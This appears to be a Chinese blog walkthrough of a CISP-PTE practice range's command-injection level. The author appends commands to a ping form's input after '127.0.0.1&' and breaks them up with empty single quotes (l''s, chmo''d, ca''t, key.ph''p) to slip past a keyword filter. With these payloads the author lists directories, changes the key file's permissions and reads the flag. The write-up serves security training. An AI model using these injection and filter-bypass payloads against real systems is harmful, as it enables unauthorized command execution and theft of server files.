CISP-PTE 命令执行8

目录

一、渗透准备

1、打开靶场

2、开始答题

二、渗透实战

1、查看当前目录

(1)ls失败

(2)l''s成功

[(3)find ./成功](#(3)find ./成功)

2、查看根目录

(1)查看上一层目录

(2)查看根目录

[(3)find ../成功](#(3)find ../成功)

3、查看key权限

(1)查看..目录权限

[(2)l''s -la ../key.php(失败)](#(2)l''s -la ../key.php(失败))

[(3)l''s -la ../ke''y.php(失败)](#(3)l''s -la ../ke''y.php(失败))

[(4)l''s -la ../key.ph''p(成功)](#(4)l''s -la ../key.ph''p(成功))

4、修改key权限

[(1)chmod 600 ../key.ph''p](#(1)chmod 600 ../key.ph''p)

[(2)chm''od 600 ../key.ph''p](#(2)chm''od 600 ../key.ph''p)

[(3)l''s -la ../key.ph''p(成功)](#(3)l''s -la ../key.ph''p(成功))

5、cat查看flag文件

[(1)cat ../key.ph''p (失败)](#(1)cat ../key.ph''p (失败))

[(2)ca''t ../key.ph''p (成功)](#(2)ca''t ../key.ph''p (成功))

(3)右键元素查看flag

(4)右键源码查看flag


本文通过详细讲解CISP-PTE靶场命令执行关卡渗透实战的全流程,成功利用单双引号绕过命令执行后台的过滤函数、通过查看目录文件、查找key文件的权限、修改key文件的权限、查看key文件四个步骤获取flag。

一、渗透准备

1、打开靶场

打开靶场,页面提示"命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。请开始答题!"

http://1a88f0bc.clsadp.com/

2、开始答题

点击进入答题,这是一个ping页面,默认输入为127.0.0.1,如下所示

复制代码
http://1a88f0bc.clsadp.com/vulnerabilities/fu1.php

点击ping如下所示,执行了ping 127.0.0.1命令,成功执行ping命令。

二、渗透实战

1、查看当前目录

(1)ls失败

127.0.0.1&ls

如下所示,提示 "# 你输入的命令包含敏感字符!请检查命令是否填写正确!",说明ls或者&为敏感字符。

(2)l''s成功

构造payload通过合法IP地址127.0.0.1绕过基础验证,使用&符号作为命令分隔符在后台执行ping命令的同时,利用空单引号对ls命令进行混淆处理,将l''s在Shell解析时还原为ls命令,从而列出当前目录下的所有文件和文件夹信息。具体如下所示。

127.0.0.1&l''s

如下所示,说明ls为敏感字符,我们使用单引号空字符成功绕过。输出信息如下所示:

复制代码
function.php
index.php

(3)find ./成功

127.0.0.1127.0.0.1&find ./

2、查看根目录

(1)查看上一层目录

根据当前URL可知当前fu.php在根目录的vulnerabilities文件夹中,故而上一层目录就是网站根目录,/var/www/html

复制代码
​http://1a88f0bc.clsadp.com/vulnerabilities/fu1.php​

127.0.0.1& l''s ..

(2)查看根目录

127.0.0.1& l''s /var/www/html

(3)find ../成功

127.0.0.1&find ../

3、查看key权限

(1)查看..目录权限

127.0.0.1&l''s -la ..

如下所示,key文件权限如下所示。

---------- 1 www-data www-data 48 Mar 18 2021 key.php

这是一个权限设置极其严格的key.php文件,其权限位显示为"----------"表示所有用户(包括所有者www-data、同组用户和其他用户)都没有任何读写执行权限,文件大小为48字节,属于www-data用户和组,最后修改于2021年3月18日。这种000权限配置意味着即使是文件所有者www-data用户本身也无法读取或修改该文件,任何访问尝试都会因权限不足被拒绝,这可能是故意设置的安全防护措施,旨在保护文件中的敏感信息(如加密密钥或数据库密码),但同时也导致正常的Web服务功能无法访问此文件,需要通过权限调整才能恢复可用性。

  • 权限位分解:

    • 第1位:- = 普通文件

    • 第2-10位:--------- = 所有权限位均为-

  • 具体权限

    • 用户权限--- (无读、写、执行权限)

    • 组权限--- (无读、写、执行权限)

    • 其他用户权限--- (无读、写、执行权限)

(2)l''s -la ../key.php(失败)

我们尝试只查key.php文件的权限,如下所示。

127.0.0.1&l''s -la ../key.php

如下所示,提示 "# 你输入的命令包含敏感字符!请检查命令是否填写正确!",说明key或者php为敏感字符。

(3)l''s -la ../ke''y.php(失败)

127.0.0.1&l''s -la ../ke''y.php

如下所示,提示 "# 你输入的命令包含敏感字符!请检查命令是否填写正确!",说明除了key以外,还有其他敏感字符,大概率是php。

(4)l''s -la ../key.ph''p(成功)

127.0.0.1&l''s -la ../key.ph''p

如下所示,说明php为敏感字符,我们使用单引号空字符成功绕过。

4、修改key权限

(1)chmod 600 ../key.ph''p

127.0.0.1&chmod 600 ../key.ph''p

如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明chmod可能被过滤了

(2)chm''od 600 ../key.ph''p

构造攻击payload,通过合法IP地址127.0.0.1绕过验证,使用&命令分隔符在后台执行ping的同时,利用空单引号对chmod命令和文件路径进行混淆,将chmo''d 600 ../key.ph''p在Shell解析时还原为chmod 600 ../key.php,从而修改上级目录中key.php文件的访问权限为仅所有者可读写。具体payload如下所示。

127.0.0.1&chmo''d 600 ../key.ph''p

如下所示,说明chmod为敏感字符,我们使用单引号空字符成功绕过。

(3)l''s -la ../key.ph''p(成功)

构造如下payload,通过合法IP地址127.0.0.1绕过验证,使用&命令分隔符在后台执行ping的同时,利用空单引号对ls命令和文件路径进行混淆,将l''s -la ../key.ph''p在Shell解析时还原为ls -la ../key.php,从而列出上级目录中key.php文件的详细权限、大小、时间等属性信息。这种手法通过命令分隔符变异和字符串混淆技术实现命令执行绕过,具体payload如下所示。

127.0.0.1&l''s -la ../key.ph''p

再次查看权限,如下所示。其权限位"rw-------"表示仅文件所有者www-data用户具有读写权限,而同组用户和其他用户均被拒绝任何访问。文件位于上级目录,大小为48字节,属于Web服务器用户和组,最后修改于2021年3月18日。

-rw------- 1 www-data www-data 48 Mar 18 2021 ../key.php

  • 权限位分解:

    • 第1位:- = 普通文件

    • 第2-4位:rw- = 所有者有读写权限

    • 第5-7位:--- = 组用户无任何权限

    • 第8-10位:--- = 其他用户无任何权限

  • 具体权限:

    • 所有者权限rw- (有读、写权限,无执行权限)

    • 组权限--- (无读、写、执行权限)

    • 其他用户权限--- (无读、写、执行权限)

5、cat查看flag文件

(1)cat ../key.ph''p (失败)

127.0.0.1&cat ../key.ph''p

如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明cat可能被过滤了。

(2)ca''t ../key.ph''p (成功)

构造payload,通过IP地址127.0.0.1绕过基础验证,使用&符号作为命令分隔符在后台执行ping命令的同时,利用空单引号对cat命令和文件路径进行混淆处理,将ca''t ../key.ph''p在Shell解析时还原为cat ../key.php,从而成功读取上级目录的key.php文件内容。这种手法通过命令分隔符变异和字符串混淆技术,有效规避了基于简单字符串匹配的安全过滤机制,实现了命令注入攻击。,具体payload如下所示。

127.0.0.1&ca''t ../key.ph''p

(3)右键元素查看flag

右键元素,查看flag,如下所示成功获取flag。

(4)右键源码查看flag

右键源码,查看flag,如下所示成功获取flag。

相关推荐
mooyuan天天6 小时前
CISP-PTE SQL注入3(两种方法渗透:手注法+sqlmap法)
cisp-pte·sql注入·sqlmap·sql注入漏洞
mooyuan天天1 天前
CISP-PTE SQL注入8(万能密码+sqlmap脚本 共5种方法)
cisp-pte·sql注入·sqlmap·sql注入漏洞·万能密码
mooyuan天天1 天前
CISP-PTE 文件包含5
cisp-pte·文件包含·文件包含漏洞
mooyuan天天3 天前
CISP-PTE 文件包含1(php://filter 伪协议)
cisp-pte·文件包含·文件包含漏洞·php filter·文件包含伪协议
mooyuan天天3 天前
CISP-PTE 命令执行9
cisp-pte·命令执行·命令执行漏洞
mooyuan天天4 天前
CTF-PTE 文件包含8(八种渗透方法)
cisp-pte·文件包含·文件包含漏洞
mooyuan天天5 天前
CISP-PTE SQL注入2(两种方法渗透:手注+sqlmap)
cisp-pte·sql注入·sqlmap·sql注入漏洞
mooyuan天天5 天前
CTF-PTE 日志分析3
cisp-pte·日志分析
mooyuan天天6 天前
CISP-PTE 命令执行2
命令执行·命令执行漏洞·ctf-pte